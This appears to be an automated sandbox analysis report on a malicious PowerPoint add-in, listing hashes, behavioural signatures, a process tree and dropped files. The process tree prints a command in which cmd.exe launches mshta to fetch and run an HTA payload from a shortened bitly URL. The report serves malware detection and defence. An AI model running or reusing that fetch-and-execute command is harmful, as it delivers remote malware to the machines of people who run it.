Analysis

  • max time kernel
    120s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    26/12/2023, 02:39

General

  • Target

    4d37b158686a8de67e3c7168e5ff3d92.ppam

  • Size

    9KB

  • MD5

    4d37b158686a8de67e3c7168e5ff3d92

  • SHA1

    265ea170c619bd2e7cb0a82cd80c993c9aba8a6e

  • SHA256

    16f1a327b2b1aa4c871a5e9ddf0718f575d03ae72e782d12110f87eb5ce2f119

  • SHA512

    b4e48d00c94feec5df8abb3e734153eb7459d6f1c039df003a5382a3b2673ba7a68703eadd5bb85bcd67ba85e8a2fc498fe603fde4d466a4bc34294ca8cf4e3a

  • SSDEEP

    192:37XqmtJR1qooVw7ZIdqkS6iGhEoNwSQTO2bbK8fEYp:3JtMooCtI4IiGu9SAxK8d

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://www.bitly.com/asdodoasdoa

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 17 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\4d37b158686a8de67e3c7168e5ff3d92.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2088
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" msgbox/rmshta https://www.bitly.com/asdodoasdoa
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\SysWOW64\mshta.exe
          mshta https://www.bitly.com/asdodoasdoa
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          PID:2876

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Cab76F6.tmp

            Filesize

            65KB

            MD5

            ac05d27423a85adc1622c714f2cb6184

            SHA1

            b0fe2b1abddb97837ea0195be70ab2ff14d43198

            SHA256

            c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

            SHA512

            6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

          • C:\Users\Admin\AppData\Local\Temp\Tar7738.tmp

            Filesize

            171KB

            MD5

            9c0c641c06238516f27941aa1166d427

            SHA1

            64cd549fb8cf014fcd9312aa7a5b023847b6c977

            SHA256

            4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

            SHA512

            936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

          • memory/2256-0-0x000000002DD01000-0x000000002DD02000-memory.dmp

            Filesize

            4KB

          • memory/2256-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2256-2-0x00000000728BD000-0x00000000728C8000-memory.dmp

            Filesize

            44KB

          • memory/2256-6-0x00000000041E0000-0x00000000042E0000-memory.dmp

            Filesize

            1024KB

          • memory/2256-8-0x00000000041E0000-0x00000000042E0000-memory.dmp

            Filesize

            1024KB

          • memory/2256-160-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2256-170-0x00000000728BD000-0x00000000728C8000-memory.dmp

            Filesize

            44KB